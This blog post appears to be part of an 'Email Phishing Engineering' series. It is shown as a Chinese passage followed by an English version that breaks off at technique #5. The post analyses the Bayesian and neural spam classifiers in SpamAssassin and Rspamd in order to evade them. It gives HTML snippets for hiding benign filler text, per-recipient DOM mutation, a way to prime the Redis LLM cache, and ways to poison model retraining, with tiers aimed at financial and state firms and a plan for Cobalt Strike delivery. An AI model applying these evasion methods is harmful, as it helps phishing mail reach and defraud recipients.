在 Hybrid特征提取模式下，神经网络把贝叶斯的打分直接当做特征输入的一部分。贝叶斯分数被稀释词干扰降下来后，这个偏低的分数被神经网络直接吃进去。神经网络虽然学到了”低贝叶斯分 = Ham”，但它无法区分这封信是因为干净还是被掺了沙子。

网关串行审计架构在这里存在盲区。

网关开启了 PCA 特征降维时，多封邮件里注入的相似良性文本被当作主成分保留，而原本维度较低的恶意敏感词特征反而容易在降维过程中被过滤掉，导致神经网络失效。

权重继承机制（行 1452）通过 Redis 的 zset 查找 providers_digest 匹配的旧 profile 并复制权重，避免在配置更新时重新训练。

五个 Provider 绝大部分仍然依赖对 Token 流的切分。一旦贝叶斯层削弱了 Token 的区分力，神经网络所接收的输入特征也会随之失效。

Rspamd LLM Provider 的底层细节（`llm.lua`）

在 LLM Provider 的工程设计中，有两个机制值得关注：

拼装输入文本：collect_async 中，输入文本强制按主题优先（Subject first）原则拼接：

"Subject: " + 邮件主题 + "\n" + 正文内容

确保在嵌入向量的位置编码中，高信息价值的主题行始终被置于最前，避免因长文本截断而丢失关键信息。

路由与缓存：该插件支持根据邮件检测语言路由到不同的第三方模型，且使用了 Redis 进行本地缓存（TTL 默认 24 小时）：

Redis 缓存机制引入了新的规避面。已知目标网关开启了该缓存时，可以提前发送一封内容正常的良性邮件（使用特定主题词），让网关缓存下该特征。后续发送带有相同主题词的邮件即可命中该干净缓存，绕过实时审计。

SpamAssassin 的独立神经网络插件（`NeuralNetwork.pm`）

SpamAssassin 的 NeuralNetwork 插件（v0.11.2）走另一条路：不依赖贝叶斯分，而是维护自己独立的词汇表与特征流水线。

隐藏层结构（源码第 767-770 行、第 1327-1330 行）：

# 隐藏层1节点数计算：≈ √输入维度 × 0.25 (向上取整)
my $num_hidden1 = int(sqrt($num_input) * 0.25 + 0.5);
$num_hidden1 = 4 if $num_hidden1 < 4; # 最少4个节点

# 隐藏层2节点数计算：为隐藏层1节点数的一半
my $num_hidden2 = int($num_hidden1 / 2);
$num_hidden2 = 2 if $num_hidden2 < 2; # 最少2个节点

输入层映射至该双隐层结构，并在单输出神经元输出结果。

词表修剪卡方计算（_chi2_score，行 1065）：

# 计算特定词项(term)的卡方得分，用于过滤全局区分度弱的特征词
sub _chi2_score {
  my ($spam, $ham, $total_spam, $total_ham) = @_;
  my $total = $total_spam + $total_ham;
  return 0 unless $total > 0;
  my $total_spam_noterm = $total_spam - $spam; # 未包含该词的Spam文档数
  my $total_ham_noterm = $total_ham - $ham;   # 未包含该词的Ham文档数

  # 分母为各维频数的乘积
  my $denom = ($spam+$ham) * ($total-$spam-$ham) * $total_spam * $total_ham;
  return 0 unless $denom > 0;

  # 卡方检验矩阵交叉相乘平方差计算，提取鉴别度分值
  return ($total * ($spam*$total_ham_noterm - $ham*$total_spam_noterm)**2) / $denom;
}

在词汇表达到 10,000 的上限进行清理时，其卡方算法偏向于删除低频但有高特异性的词，而保留高频的中性词。使用高信誉的常规商务词汇进行稀释，它们不容易在词汇表清理中被剔除。

类别加权训练（行 817-825）：

# 根据训练样本中Spam与Ham的文档比例，为少数类乘以一个反比权重，最大加权值为4.0倍
if ($isspam) {
  $class_weight = ($spam_docs > 0) ? $ham_docs / $spam_docs : 1.0;
} else {
  $class_weight = ($ham_docs > 0) ? $spam_docs / $ham_docs : 1.0;
}
$class_weight = 1.0 if $class_weight < 1.0;
$class_weight = 4.0 if $class_weight > 4.0;
my $weighted_epochs = int($train_epochs * $class_weight) || 1;

大量发送被标记为 Ham 的稀释邮件，会稀释掉 ham_docs/spam_docs 的权重比例，直接把整个模型的权重偏向有利于 Ham 判定的方向。

在重训计算”类原型向量”时，一段周期内持续发送含有良性术语的稀释信，这些词录入词表后直接毒化类原型向量，在重训后整体带偏神经网络的判断基准。

SpamAssassin 神经网络插件有四道硬性检测门槛：邮件长度小于 256 字符，或命中词汇表的有效词少于 10 个时，系统直接跳过神经网络检测，退回到贝叶斯层。

正文中把可见字符控制在 200~250 字符（大约 3、4 句话），然后将大段的稀释语料通过 CSS 隐藏（不可见语料不计入正文字数），神经网络就会因为有效字数不足而直接放弃检测，退回贝叶斯层，此时隐藏稀释词已经绕过了它。

其他方案对比：无原生 ML 的 SMTP 架构

Haraka（Node.js 开发）的内容检测插件不含原生 ML/NLP 组件，只做外部 Rspamd/SpamAssassin 接口转发，或者用 karma 等插件按硬编码规则对信誉、SPF 状态做加减分。自建 Node.js 邮件网关在这块很脆弱——绕过外部检测器之后，本地几乎没有防御。yangdongchao/mailscanner 这类 PyTorch 学术分类器就更不用说了，完全没考虑工程对抗。

0x02 维度一：HTML 多态变异

网关审计 HTML 时，通常会将其解析为 DOM 树并计算指纹（如 Fuzzy Hash）。短时间内发送的多封邮件在 DOM 树特征上相似度过高，就会被判定为已知模板的变种。

对抗方法：生成 HTML 时对每个收件人的邮件单独做变异编译，用多态方式扰乱 DOM 特征。

2.1 结构注入（Structural Injection）

编译引擎会在 DOM 树结构中动态引入以下变异：

随机嵌套：在 <body> 路径下随机引入 1~3 层无样式的 <div> /  嵌套，其 class 类名完全动态随机生成。
空节点引入：随机插入多个 display:none 占位符。视觉上不可见，但会影响 DOM 解析树的深度和兄弟节点计数，直接改变特征 Hash 值。
属性顺序置乱：在生成 HTML 元素时，随机打乱各标签属性的输出顺序（例如将 href, style, class 顺序倒置）。许多 DOM 解析器是顺序敏感的，这会改变网关的 Hash 指纹。

2.2 等效标签置换（Tag Normalization Bypass）

编译引擎结合转换映射，随机置换等效标签：

| 原始标签 | 变异标签 | NLP 解析差异 | | :-- | :-- | :-- | |  |  | 语义标签 vs 样式标签 | |  |  | 同上 | | <strike> | <s> / <del> | 新旧语法标准混杂 | | <center> | <div style="text-align:center"> | 标签 vs CSS 样式 | |  |  | 传统样式 vs CSS 样式 |

每次生成以 50% 的概率随机置换，破坏基于标签分布的特征词频统计。

2.3 随机 CSS 格式化

模板里的类名均采用随机字符代替，同时内联 CSS 样式的属性格式也随机选择：

/* 格式一 — 十六进制 */
color: #ff0000; margin: 10px;

/* 格式二 — rgb函数 */
color: rgb(255, 0, 0); margin: 10px 10px 10px 10px;

/* 格式三 — hsl简写 */
color: hsl(0, 100%, 50%); margin: 10px;

网关提取 CSS 的正则过滤规则因此无法成功匹配。

0x03 维度二：语义稀释——拉低贝叶斯评分

语义稀释的数学原理是通过在正文引入大量的强 Ham 词，来拉低贝叶斯联合概率分值，让原本超标的分数降到网关拦截线以下。但工程落地中需要考虑这些稀释词的注入方式，以对抗网关的可见性检测。

3.1 数学原理

贝叶斯的代数加和公式为：

一封包含”立即登录”、”验证账号”等 10~15 个强敏感词的钓鱼邮件，判定值容易突破 +60（网关拦截线通常为 +40）。

不修改原有核心文案，通过在正文中注入大量强 Ham Token（每个词贡献 -2 至 -5 的得分），将联合分数拉低：

当 Misplaced & 时，系统会自动将该邮件归为 Ham 类别。

根据工程实践，稀释注水词量的注入公式为：

TaiGong 设置了三档注水等级：

| 级别 | 注水比例 (DilutionRatio) | 适用场景 | | :-- | :-- | :-- | | Light | 2.0 | 对付消费级邮（Gmail / Outlook） | | Standard | 5.0 | 对付企业邮服环境 | | Aggressive | 10.0 | 高防目标（金融、央企） |

3.2 七种文本注入手段

按检测难度从低到高排列：

[#1](javascript:😉 HTML 注释区

<!-- quarterly budget review meeting scheduled for next Thursday -->

HTML 注释区注入最基础——直接把词写在  里。现代网关分词时一般会自动过滤注释，只对极少数老旧系统有效。

[#2](javascript:😉 同色极小字体

<span style="font-size:1px;color:#ffffff">budget allocation approved</span>

用 CSS 把字体设成 1px、颜色设成与背景相同。简单网关上有效，但带可见字符占比审计的高级网关会触发惩罚。

[#3](javascript:😉 overflow:hidden 与零高度容器

<div style="height:0;overflow:hidden;max-height:0;opacity:0">
  team meeting scheduled for Thursday
</div>

overflow:hidden 配合零高度容器（height:0; max-height:0; opacity:0），比单一隐藏样式更稳定，不同环境下表现一致。

[#4](javascript:😉 ARIA 语义隐藏

<span aria-hidden="true" role="presentation" style="position:absolute;left:-9999px">
  project milestone review
</span>

ARIA 无障碍属性也能用来隐藏：aria-hidden="true" role="presentation" 配合 left:-9999px 绝对定位，读屏器会跳过这段内容，但直接提取文本的网关引擎照读不误。

[#5](javascript:😉 mime multipart/alternative 差异注入复合格式邮件走 multipart/alternative 结构：text/plain 放良性长文本，HTML 放实际内容。网关为了性能往往初筛只扫 plain 部分——第一轮评分就这样拉下来了。

[#6](javascript:😉 CSS 伪元素 content 注入

<style>
.d1::after { content: "budget allocation quarterly review"; }
.d2::before { content: "team meeting scheduled for Thursday afternoon"; }
</style>

<div class="d1"></div>

<div class="d2"></div>

CSS 伪元素 ::before / ::after 注入则更难检测。稀释内容写入样式表的 content 属性，普通文本提取器只读 DOM textContent，读不到 CSSOM 的计算值。

[#7](javascript:😉 JavaScript 动态延时渲染

<div id="dilution_container" style="display:none">...</div>

<script>
setTimeout(function() {
  document.getElementById('dilution_container').style.display = 'block';
}, 5000);
</script>

JavaScript 延时渲染是检测难度天花板。容器初始状态设为隐藏，JS 延时数秒后再改为显示，网关一般不会等待 JS 执行完毕，扫描时这部分词被忽略，用户端依然可以渲染。

3.3 语料库筛选

语料库分三层：

Layer 1 — 通用商务（基础 500条）：全是项目审批、会议通知等纯商业文案（比如“本季度财务预算已经提交审阅”）。
Layer 2 — 行业特异（约 200条）：根据每个行业所接触的邮件预料不同而塞入不同的词组进行干扰，因为目标行业的网关本就会经常放行这类词，把它们视为极高 Ham 概率特征。
Layer 3 — 动态生成：调用 LLM 获取当天或本周的商业、时政热点，组装成和发信场景匹配的模板，也许能绕过网关的缓存名单？

Token 筛选准则：SpamAssassin 分值为负、长度超 5 字符、不带任何 URL 链接，三个条件缺一不可。

0x04 未完成的维度三：HTML5 Smuggling 流量层绕过

绕过网关内容过滤后，进一步投送可执行程序（Cobalt Strike 载payload）时，还需要解决网络流量和附件特征的检测问题。

HTML5 Smuggling 提供了流量层免杀的思路：让文件在受害者本地的浏览器内存中生成，而不是直接在网络上传输。

暂时没有找到好的思路实现这一目标，目前来说这只是一个设想，因此也不过多套困了，具体的思路可以搜索相关关键词。

4.1 落地页上的对抗

TaiGong 实战中，目前只是语义稀释配合落地页一起用。

效果不算很好，究极的理想状态就是我说的：受害者点击链接进入落地页后，后台执行 Smuggling ，同时往网关塞入大量良性商务免责声明等 Ham 文本，能够有效阻挡安全策略对 URL 的爬行和标记就如愿了。

0x05 结语

从开源产品来看，策略应该都是大同小异的，就是不清楚闭源设备有LLM的参与之后，进化会到何种地步。

更根本的防线在终端上。

参考资料：

_Proofpoint: Introduction to HTML Smuggling, _https://www.proofpoint.com/us/blog/threat-insight/introduction-html-smuggling
_Proofpoint: HTML Smuggling Evolves - Threat Actor Adoption and Detection, _https://www.proofpoint.com/us/blog/threat-insight/html-smuggling-evolves
_SpamAssassin Bayes Scoring Documentation, _https://cwiki.apache.org/confluence/display/SPAMASSASSIN/Bayes
_Rspamd Documentation: Statistics and Bayes, _https://rspamd.com/doc/configuration/statistic.html
_Microsoft 365 Defender Anti-Phishing Policy Reference, _https://learn.microsoft.com/en-us/defender-office-365/anti-phishing-policies-about
_IcedID Banking Trojan Leveraging HTML Smuggling (2021), _https://www.mcafee.com/blogs/other-blogs/mcafee-labs/icedid-banking-trojan-uses-html-smuggling-technique/
_SpamAssassin Bayes Plugin source_https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/Bayes.pm
_SpamAssassin CombineChi source: _https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Bayes/CombineChi.pm
_Rspamd Bayes classifier source: _https://github.com/rspamd/rspamd/blob/master/src/libstat/classifiers/bayes.c
_Rspamd Neural Network plugin source: _https://github.com/rspamd/rspamd/blob/master/src/plugins/lua/neural.lua
_Rspamd Neural Network providers (LLM): _https://github.com/rspamd/rspamd/blob/master/lualib/plugins/neural/providers/llm.lua
_Rspamd Tokenizer source: _https://github.com/rspamd/rspamd/blob/master/src/libstat/tokenizers/tokenizers.c
_Rspamd Bayes autolearn: _https://github.com/rspamd/rspamd/blob/master/lualib/lua_bayes_learn.lua
_SpamAssassin NeuralNetwork Plugin source: _https://github.com/apache/spamassassin/blob/trunk/lib/Mail/SpamAssassin/Plugin/NeuralNetwork.pm
_Haraka Plugin Ecosystem: _https://github.com/haraka/Haraka
_yangdongchao/mailscanner (Python ML): _https://github.com/yangdongchao/mailscanner

系列导航

Email Phishing Eng. · 3: Bayes & NLP Adversarial

Sat, 11 Apr 2026 00:00:00 GMT

~6,200 Chinese characters in the original; about 32 minutes to read

This is Part 3 of the Email Phishing Engineering series. The first two parts covered the sending channel and anti-sandbox. Delivery alone is not enough: if the body is filtered by the gateway, everything upstream is wasted.

Whether a message can enter the gateway and whether, once inside, it stays out of the junk folder are two completely different adversarial dimensions. This post dissects the core content-detection logic of Secure Email Gateways (SEGs)—Bayesian classifiers and NLP semantic engines—and the engineering approaches used to evade them.

Author: 可惜夜 (Kexi Ye)

First published on the WeChat official account: Yofune Security Research. Follow for more.

0x01 Adversary Model: The Dual-Layer Detection Architecture of the SEG Content Plane

Differences between domestic Chinese and overseas environments directly shape content-adversarial strategy. The primary SEGs in overseas enterprise networks are Microsoft Defender for Office 365 and Proofpoint. The domestic landscape is more fragmented: large state-owned enterprises and financial institutions commonly deploy Chinese mail gateways, and security vendors’ product lines are numerous—too many to list. SMBs heavily use Tencent Exmail and Alibaba Cloud enterprise mail, whose anti-spam backends plug into cloud capabilities.

Across these products, content detection is architecturally similar—two layers stacked underneath:

Bayesian probability layer — bag-of-words based. SpamAssassin and Rspamd are the canonical open-source implementations; domestic vendors typically retrain on Chinese corpora on top of this foundation.
Deep semantic layer — many domestic deployments use lightweight BERT-base–style detectors (not expanded here; search the usual keywords if interested).

The two layers are not serial hard blocks; they are score-weighted and merged. A message can score very low on Bayes and still be blocked if the deep semantic layer catches phishing features. The objective is a final score below threshold—you have to fight both layers at once.

SpamAssassin’s Bayes Plugin (`lib/Mail/SpamAssassin/Plugin/Bayes.pm`)

Tokenization pipeline (source tokenize at lines 1134–1217; _tokenize_line at lines 1219–1380):

raw text → regex extraction → min-3-char filter → SHA1 hash, take 40 bits → stop-word filter

Token extraction regex (inside _tokenize_line, lines 1235–1240):

# Extract tokens via regex: match ASCII words/English characters, plus multi-byte UTF-8
# sequences (to support Chinese and other non-ASCII text)
s{ ( [A-Za-z0-9,@*!_'"\$. -]+  |     # match ordinary ASCII tokens
     [\xC0-\xDF][\x80-\xBF]       |     # match UTF-8 two-byte characters
     [\xE0-\xEF][\x80-\xBF]{2}    |     # match UTF-8 three-byte characters (incl. common CJK)
     [\xF0-\xF4][\x80-\xBF]{3}    |     # match UTF-8 four-byte characters
     [\xA1-\xFF] ) | . }                # match ISO-8859-style single-byte / edge multi-byte;
                                        # replace unmatched single chars with space
 { defined $1 ? $1 : ' ' }xsge;

SHA1 hash compressed to a 40-bit key (inside tokenize, line 1212):

# SHA1 the extracted token; keep the last 5 bytes (40 bits) of the digest as the unique
# key stored in the statistical database
$tokens{substr(sha1($token), -5)} = $token  if $token ne '';

SpamAssassin’s implementation has three hard design boundaries that are worth exploiting.

Token count cap (line 250):

# Max number of effective tokens that participate in the log-likelihood ranking / score
# merge: 150. Weaker tokens beyond this limit are discarded.
use constant N_SIGNIFICANT_TOKENS => 150;

When computing the Bayesian score, SpamAssassin ranks all tokenized tokens by probability deviation (how strongly a word leans spam vs. ham), descending, and takes at most the top 150 most discriminative tokens for the final calculation. Anything beyond 150 is dropped. The 150 limit is hardcoded.

If the body is padded with enough (more than 150) strong ham words—high-frequency terms from normal business mail—the truly sensitive malicious tokens can be pushed out of that 150-token scoring window so they never participate in the final score.

Robinson smoothing (lines 1644–1653; constants defined in CombineChi.pm lines 47–50: FW_S_CONSTANT = 0.030, FW_S_DOT_X = 0.538 * 0.030 = 0.01614):

# 1. Compute the raw Bayesian classification probability
my $prob = ($s * $nn) / ($n * $ns + $s * $nn);

# 2. If Robinson smoothing is enabled (for low-frequency tokens)
if (USE_ROBINSON_FX_EQUATION_FOR_LOW_FREQS) {
  my $robn = $s + $n; # total document count for this token across all samples
  # Gary Robinson's f(w) formula for the smoothed probability:
  # P_smooth = (s * x + n * P_raw) / (s + n)
  $prob = ($Mail::SpamAssassin::Bayes::Combine::FW_S_DOT_X + ($robn * $prob))
          / ($Mail::SpamAssassin::Bayes::Combine::FW_S_CONSTANT + $robn);
}

robn is the total frequency of that word in the corpus. Inject rare or obscure misspelled terms and the smoothing formula pulls their probability back toward 0.5 (no discriminative signal). Tokens at 0.5 rank at the bottom and never enter the 150-token scoring window. Therefore, when diluting the body you must use ordinary business vocabulary the gateway has already seen many times—not invented rare words.

Mathematical core of score combination, in CombineChi.pm (lines 60–104):

# 1. Accumulate Fisher log-probability under dual hypotheses
foreach my $prob (@$sortedref) {
  $S *= 1.0 - $prob; # cumulative product factor assuming the mail is Spam: (1 - P(Spam|Token))
  $H *= $prob;       # cumulative product factor assuming the mail is Ham: P(Spam|Token)
  # floating-point underflow handling omitted (frexp / scientific decomposition)
}

$S = log($S) + $Sexp * LN2; # log-likelihood under Spam hypothesis
$H = log($H) + $Hexp * LN2; # log-likelihood under Ham hypothesis

# 2. Convert via chi-square inverse CDF (chi2q) to p-value scores.
# $wc ($token_count) is the half-value parameter related to degrees of freedom;
# redundant *2/*2 is folded in.
$S = 1.0 - chi2q(-2.0 * $S, $wc);
$H = 1.0 - chi2q(-2.0 * $H, $wc);

# 3. Normalize the score to [0, 1] as the final Bayesian probability
return (($S - $H) + 1.0) / 2.0;

Fisher’s algorithm mathematically assumes word independence. Real mail has strong inter-word dependence. Injecting a coherent block of business prose warps the chi-square degrees of freedom and reduces the classifier’s confidence—often enough to tip borderline decisions toward release.

Rspamd’s Bayes Classifier (`src/libstat/classifiers/bayes.c`)

Unlike SpamAssassin, Rspamd uses the OSB (Optimal Score Based) algorithm.

A core property: unigram weight is set to 0 (line 215). No matter how sensitive a single word is, it does not directly affect the final score; it must combine with neighbors into bigram or trigram windows.

Stacking isolated words is useless—you must inject coherent phrases or complete business expressions. In Chinese deployments, if the tokenizer over-segments, it can break the OSB window statistics.

Robinson smoothing in Rspamd is implemented via the PROB_COMBINE macro (line 217):

// prob: raw probability, cnt: total token occurrences, weight: Robinson smoothing weight,
// assumed: default assumed probability (usually 0.5)
#define PROB_COMBINE(prob, cnt, weight, assumed) (((weight) * (assumed) + (cnt) * (prob)) / ((weight) + (cnt)))

Called from bayes_classify_token (lines 227–324):

// compute w
w = (fw * total_count) / (1.0 + fw * total_count);
// merge with smoothed probability
bayes_spam_prob = PROB_COMBINE(spam_prob, total_count, w, 0.5);

Rspamd Statistical Token Flags (`src/libserver/word.h` and `src/libstat/tokenizers/tokenizers.c`)

During tokenization, Rspamd tags tokens with flags defined as bitmasks in src/libserver/word.h (lines 34–47):

| Flag name | Bit offset | Mask value | Security / adversarial meaning | | :-- | :-- | :-- | :-- | | RSPAMD_STAT_TOKEN_FLAG_TEXT | 1u << 0 | 0x01 | Ordinary token extracted from plain text | | RSPAMD_STAT_TOKEN_FLAG_META | 1u << 1 | 0x02 | Token from metadata or directives | | RSPAMD_STAT_TOKEN_FLAG_LUA_META | 1u << 2 | 0x04 | Token dynamically produced by Lua rule APIs | | RSPAMD_STAT_TOKEN_FLAG_EXCEPTION | 1u << 3 | 0x08 | Exception token (e.g. features extracted from URLs) | | RSPAMD_STAT_TOKEN_FLAG_HEADER | 1u << 4 | 0x10 | Token from mail header fields | | RSPAMD_STAT_TOKEN_FLAG_UNIGRAM | 1u << 5 | 0x20 | Unigram (single word/character) flag | | RSPAMD_STAT_TOKEN_FLAG_UTF | 1u << 6 | 0x40 | UTF-8 / Unicode multi-byte text token | | RSPAMD_STAT_TOKEN_FLAG_NORMALISED | 1u << 7 | 0x80 | Successfully normalized via ICU | | RSPAMD_STAT_TOKEN_FLAG_STEMMED | 1u << 8 | 0x100 | Successfully stem-extracted | | RSPAMD_STAT_TOKEN_FLAG_BROKEN_UNICODE | 1u << 9 | 0x200 | Failed Unicode normalization / corrupted sequence; sets RSPAMD_TASK_FLAG_BAD_UNICODE, but does not apply a 50% Bayes weight penalty | | RSPAMD_STAT_TOKEN_FLAG_STOP_WORD | 1u << 10 | 0x400 | Identified high-frequency neutral stop word | | RSPAMD_STAT_TOKEN_FLAG_SKIPPED | 1u << 11 | 0x800 | Attenuated or skipped; does not participate in scoring | | RSPAMD_STAT_TOKEN_FLAG_INVISIBLE_SPACES | 1u << 12 | 0x1000 | Token containing invisible characters | | RSPAMD_STAT_TOKEN_FLAG_EMOJI | 1u << 13 | 0x2000 | Token containing emoji |

BROKEN_UNICODE and INVISIBLE_SPACES are important technical signals for abnormal bypass behavior. Large amounts of non-canonical Unicode or hidden formatting easily trip the gateway’s anomaly interception logic.

Stemming and Custom Tokenization (`tokenizers.c` ≈ lines 600–650)

Stemming collapses word forms—e.g. "approved" and "approves" merge to the stem "approv". That limits gaming counts via inflections, but it also means flooding "unanimously" globally burns strong ham reputation onto the "unanim" stem family. In Chinese or Japanese deployments, if the gateway introduces a custom CJK tokenizer, you need to learn its dictionary boundaries; OOV (out-of-vocabulary) fragmentation often weakens dilution effectiveness.

Every token is Mum-hashed for Redis-side dedup. Even equivalent Unicode substitutions change the hash and are counted as new words.

Autolearn Decision (`lualib/lua_bayes_learn.lua`, lines 184, 368)

In can_learn(), Rspamd has adaptive overfit protection. Default confidence threshold is min_prob = 0.95:

-- Whether the current mail's Bayesian confidence already meets the threshold (default 0.95)
in_class = prob >= (probability_opts.min_prob or probability_opts.spam_min or 0.95)

if in_class then
  -- If the system is already confident enough, refuse further training on this sample
  -- to prevent model overfitting
  return false, reason, ctx.result
end

If dilution successfully parks the score below the block line and confidence stays under 0.95, the classifier neither blocks the mail nor learns the latest feature drift—opening a stable bypass window.

Rspamd’s Neural Network Plugin (`src/plugins/lua/neural.lua`)

Besides Bayes, Rspamd enables an ANN (neural network) classification plugin by default.

The post-filter callback ann_scores_filter (source ≈ line 121) runs after the Bayesian classifier. Features the network sees have already been preprocessed by the Bayes layer.

Feature extraction depends on five Provider interfaces (source lines 33–37):

-- Dynamically load these five feature-provider modules
pcall(require, "plugins/neural/providers/llm")           -- external LLM embedding features
pcall(require, "plugins/neural/providers/symbols")        -- rule score cache collection
pcall(require, "plugins/neural/providers/text_hash")      -- local feature hashing
pcall(require, "plugins/neural/providers/fasttext_embed") -- FastText word embeddings
pcall(require, "plugins/neural/providers/static_embed")   -- static word embeddings

In production, usually only symbols and text_hash are enabled.

In hybrid feature mode, the neural net takes the Bayesian score itself as part of the feature input. Once dilution words drag the Bayes score down, that low score is fed straight into the network. The network may have learned “low Bayes score = ham,” but it cannot tell whether the mail is clean or sand-filled.

That is a blind spot in the gateway’s serial audit architecture.

When PCA feature reduction is enabled, similar benign text injected across many messages is retained as a principal component, while lower-dimensional malicious tokens are more easily filtered out during reduction—degrading the neural net.

Weight inheritance (line 1452) looks up matching old profiles via Redis zsets on providers_digest and copies weights, avoiding full retrain on config updates.

Most of the five providers still depend on token-stream segmentation. Once the Bayes layer weakens token discriminability, the neural net’s input features degrade with it.

Rspamd LLM Provider Internals (`llm.lua`)

Two mechanisms in the LLM Provider design are worth attention:

Assembling input text: in collect_async, input is forced Subject-first:

"Subject: " + mail_subject + "\n" + body_content

This keeps the high-value subject line at the front of the embedding position encoding so long-body truncation does not drop critical information.

Routing and cache: the plugin can route to different third-party models by detected language and uses Redis for local cache (default TTL 24 hours).

Redis cache introduces a new evasion surface. When the target gateway has this cache enabled, you can pre-send a benign message with a chosen subject phrase so the gateway caches that feature. Later messages with the same subject phrase can hit the clean cache and skip live audit.

SpamAssassin’s Standalone Neural Network Plugin (`NeuralNetwork.pm`)

SpamAssassin’s NeuralNetwork plugin (v0.11.2) takes another path: it does not depend on the Bayes score; it maintains its own vocabulary and feature pipeline.

Hidden-layer structure (source lines 767–770, 1327–1330):

# Hidden layer 1 node count: ≈ √input_dim × 0.25 (rounded up)
my $num_hidden1 = int(sqrt($num_input) * 0.25 + 0.5);
$num_hidden1 = 4 if $num_hidden1 < 4; # at least 4 nodes

# Hidden layer 2 node count: half of hidden layer 1
my $num_hidden2 = int($num_hidden1 / 2);
$num_hidden2 = 2 if $num_hidden2 < 2; # at least 2 nodes

The input layer maps into this dual-hidden structure with a single output neuron.

Vocabulary pruning via chi-square (_chi2_score, line 1065):

# Compute chi-square score for a term; used to drop globally weak features
sub _chi2_score {
  my ($spam, $ham, $total_spam, $total_ham) = @_;
  my $total = $total_spam + $total_ham;
  return 0 unless $total > 0;
  my $total_spam_noterm = $total_spam - $spam; # spam docs without the term
  my $total_ham_noterm = $total_ham - $ham;   # ham docs without the term

  # denominator = product of marginal frequencies
  my $denom = ($spam+$ham) * ($total-$spam-$ham) * $total_spam * $total_ham;
  return 0 unless $denom > 0;

  # chi-square contingency cross-product squared difference → discriminability score
  return ($total * ($spam*$total_ham_noterm - $ham*$total_spam_noterm)**2) / $denom;
}

When the vocabulary hits the 10,000-term cleanup ceiling, the chi-square logic prefers to drop low-frequency but highly specific terms and keep high-frequency neutral ones. Diluting with high-reputation ordinary business vocabulary tends to survive vocabulary cleanup.

Class-weighted training (lines 817–825):

# Weight the minority class by the inverse of spam/ham document ratio; max weight 4.0×
if ($isspam) {
  $class_weight = ($spam_docs > 0) ? $ham_docs / $spam_docs : 1.0;
} else {
  $class_weight = ($ham_docs > 0) ? $spam_docs / $ham_docs : 1.0;
}
$class_weight = 1.0 if $class_weight < 1.0;
$class_weight = 4.0 if $class_weight > 4.0;
my $weighted_epochs = int($train_epochs * $class_weight) || 1;

Mass-sending dilution mail that is labeled ham dilutes the ham_docs / spam_docs weight ratio and biases the whole model toward ham decisions.

During retrain, when class prototype vectors are recomputed, sustained dilution mail carrying benign jargon poisons those prototypes once the terms enter the vocabulary, skewing the neural judgment baseline after retrain.

The SpamAssassin neural plugin has four hard gates: if message length is under 256 characters, or fewer than 10 vocabulary hits, the system skips the neural net entirely and falls back to Bayes.

Keep visible body text around 200–250 characters (about 3–4 sentences) and hide the bulk dilution corpus via CSS (invisible text does not count toward body length). The neural net bails for insufficient effective length and falls back to Bayes—by which point the hidden dilution tokens have already bypassed it.

Other Approaches: SMTP Stacks Without Native ML

Haraka (Node.js) content plugins have no native ML/NLP; they only forward to external Rspamd/SpamAssassin, or use plugins like karma for hard-coded reputation/SPF score adjustments. Self-built Node.js mail gateways are fragile here—once the external detectors are bypassed, local defense is nearly empty. Academic PyTorch classifiers such as yangdongchao/mailscanner are even less relevant; they never considered engineering-grade adversarial abuse.

0x02 Dimension One: HTML Polymorphic Mutation

When gateways audit HTML, they typically parse a DOM tree and compute fingerprints (e.g. fuzzy hash). Multiple messages sent in a short window with overly similar DOM features are treated as variants of a known template.

Countermeasure: when generating HTML, compile a mutated variant per recipient to polymorphically scramble DOM features.

2.1 Structural Injection

The compile engine dynamically injects the following mutations into the DOM:

Random nesting: under the <body> path, randomly introduce 1–3 layers of unstyled <div> /  nesting with fully dynamic random class names.
Empty node injection: randomly insert multiple display:none placeholders. Visually invisible, but they change DOM depth and sibling counts, altering the feature hash.
Attribute order shuffle: when emitting elements, randomly reorder attribute output (e.g. reverse href, style, class). Many DOM parsers are order-sensitive; this changes the gateway hash fingerprint.

2.2 Equivalent Tag Substitution (Tag Normalization Bypass)

The compile engine randomly swaps equivalent tags via a mapping table:

| Original tag | Mutated tag | NLP parsing difference | | :-- | :-- | :-- | |  |  | Semantic tag vs. style tag | |  |  | Same as above | | <strike> | <s> / <del> | Old vs. new markup mixed | | <center> | <div style="text-align:center"> | Tag vs. CSS style | |  |  | Legacy style vs. CSS |

Each generation swaps with ~50% probability, breaking tag-distribution feature statistics.

2.3 Randomized CSS Formatting

Template class names are random character strings; inline CSS property formats are also chosen at random:

/* Format 1 — hex */
color: #ff0000; margin: 10px;

/* Format 2 — rgb() */
color: rgb(255, 0, 0); margin: 10px 10px 10px 10px;

/* Format 3 — hsl shorthand */
color: hsl(0, 100%, 50%); margin: 10px;

Gateway CSS extraction regex rules therefore fail to match reliably.

0x03 Dimension Two: Semantic Dilution — Pulling Down the Bayesian Score

The math of semantic dilution: introduce many strong ham words into the body to pull down the joint Bayesian probability so an over-threshold score falls under the gateway block line. Engineering practice also has to choose injection methods that survive visibility checks.

3.1 Mathematical Principle

The Bayesian algebraic sum works roughly as follows:

A phishing message containing 10–15 strong sensitive phrases such as “log in immediately” or “verify your account” easily breaks past +60 (gateway block lines are often around +40).

Without changing the core copy, inject large numbers of strong ham tokens (each contributing roughly −2 to −5) to drag the joint score down:

When the combined score is pulled below the intercept threshold, the system classifies the mail as ham.

From engineering practice, the dilution volume follows a ratio-based formula. TaiGong configures three dilution tiers:

3.2 Seven Text Injection Techniques

Ordered from lowest to highest detection difficulty:

#1 HTML comment region

<!-- quarterly budget review meeting scheduled for next Thursday -->

Comment-region injection is the most basic—write words inside . Modern gateways usually strip comments during tokenization; this only works on a minority of legacy systems.

#2 Same-color micro font

<span style="font-size:1px;color:#ffffff">budget allocation approved</span>

CSS sets font size to 1px and color equal to the background. Effective on simple gateways; advanced ones that audit visible-character ratios will penalize it.

#3 overflow:hidden and zero-height containers

<div style="height:0;overflow:hidden;max-height:0;opacity:0">
  team meeting scheduled for Thursday
</div>

overflow:hidden plus zero-height (height:0; max-height:0; opacity:0) is more stable than a single hide style and behaves consistently across environments.

#4 ARIA semantic hiding

<span aria-hidden="true" role="presentation" style="position:absolute;left:-9999px">
  project milestone review
</span>

Accessibility attributes can hide content: aria-hidden="true" role="presentation" with absolute positioning at left:-9999px. Screen readers skip it, but text-extracting gateway engines still read it.

#5 MIME multipart/alternative differential injection

